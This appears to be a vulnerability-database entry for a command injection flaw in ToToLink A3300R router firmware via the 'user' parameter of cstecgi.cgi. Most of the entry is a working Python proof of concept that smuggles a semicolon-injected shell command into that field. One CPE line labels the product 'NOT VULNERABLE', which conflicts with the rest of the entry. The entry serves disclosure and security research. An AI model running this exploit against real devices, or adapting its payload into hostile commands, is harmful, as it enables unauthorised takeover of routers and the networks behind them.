An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the user parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"
# Vulnerable parameter: user
# Payload attempts to inject a command using a semicolon
data_payload = {
"user": "; echo CVE-2026-31172-Poc-Test > /tmp/poc.txt",
# Other parameters might be required depending on the specific function called
}
headers = {
"User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"[*] Sending payload to {target_url}...")
response = requests.post(target_url, data=data_payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check if command executed.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")